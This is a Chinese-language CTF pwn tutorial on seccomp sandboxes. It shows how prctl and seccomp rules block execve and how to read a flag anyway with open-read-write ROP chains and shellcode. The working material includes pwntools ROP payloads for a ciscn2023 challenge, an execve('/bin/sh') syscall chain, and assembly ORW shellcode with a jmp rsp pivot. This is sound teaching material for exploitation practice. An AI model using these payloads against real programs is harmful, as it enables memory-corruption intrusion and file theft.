沙箱

沙箱保护是对程序加入一些保护,最常见的是禁用一些系统调用,如execve,使得我们不能通过系统调用execve或system等获取到远程终端权限,因此只能通过ROP的方式调用open, read, write的来读取并打印flag 内容

1
2
3
fd = open('/flag','r')
read(fd,buf,len)
write(1,buf,len)

开启沙盒的两种方式

在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数。

prctl函数调用

如:

1
return prctl(22, 2LL, &v1);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 函数原型
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

// option选项有很多,剩下的参数也由option确定,这里介绍两个主要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)

// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);

// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);

seccomp库函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]

// 两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
// seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}

// seccomp_rule_add添加规则
// v1对应上面初始化的返回值
// 0x7fff0000即对应宏SCMP_ACT_ALLOW
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
// 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);

// seccomp_load - Load the current seccomp filter into the kernel
if ( seccomp_load(v1) < 0 )
{
// seccomp_release - Release the seccomp filter state
// 但对已经load的过滤规则不影响
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}

查看沙箱

在实战中我们可以通过 seccomp-tools来查看程序是否启用了沙箱, seccomp-tools工具安装方法如下:

1
2
$ sudo apt install gcc ruby-dev
$ gem install seccomp-tools

通过seccomp-tools dump ./pwn即可查看程序沙箱

1.简单栈利用:

通过栈溢出控制程序返回流构造rop链依次执行open、read、write函数。

例题:ciscn2023 烧烤摊

整数溢出后存在栈溢出,栈溢出后orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
name_addr = 0x04E60F0

#1.orw
payload = b"/flag\x00" //name即为flag,name_addr = flag_addr
payload = payload.ljust(0x28,b'a')
payload += p64(pop_rdi_ret) + p64(name_addr) + p64(pop_rsi_ret) + p64(r_addr) + p64(fopen64_addr)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(name_addr) + p64(pop_rdx_rbx_ret) + p64(0x30) * 2 + p64(read_addr)
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(name_addr) + p64(pop_rdx_rbx_ret) + p64(0x30) * 2 + p64(write_addr)
io.sendline(payload)

#若bss段地址可写,可直接写入orw_shellocode
payload = asm(shellcraft.open('/home/ctf/flag.txt') + shellcraft.read(3, bss_addr, 0x300) + shellcraft.write(1, bss_addr, 0x300))

#2.syscall
payload = b'/bin/sh\x00' + b'a' * (0x20-0x8) + b'a' * 0x08
+ p64(pop_rax_ret) + p64(59)
+ p64(pop_rdi_ret) + p64(name_addr)
+ p64(pop_rsi_ret) + p64(0)
+ p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
+ p64(syscall_addr)
io.sendline(payload)

2.orw+shellcode:

针对于NX未开启且禁用execve系统调用的程序,即可以写入shellcode,分两段写入

1
payload = shellcode1 + p64(ret_addr) + shellcode2

第一段写入orw代码,返回地址填入jmp rsp地址,第二段写入控制rsp的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
shellcode1 = asm(shellcraft.cat('flag'))    	//直接调用cat读取

//或
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
payload1 = asm(shellcode)

//或
shellcode1 = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall

mov edi,eax
mov rsi,rsp
sub rsi,50
xor eax,eax
syscall

xor edi,2 #mov dil,1
mov eax,edi #mov al,1
syscall


mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall

''') //即调用open、read、write函数

shellcode1 = shellcode1.ljust(offset,b'\x00') //offset = 距离rbp偏移

shellcoe2 = asm('sub rsp,0x30;call rsp') //控制执行流回到初始地方执行shellcode

payload = shellcode1 + p64(jmp rsp_addr) + shellcode2

3.复杂堆利用:

待补充。。。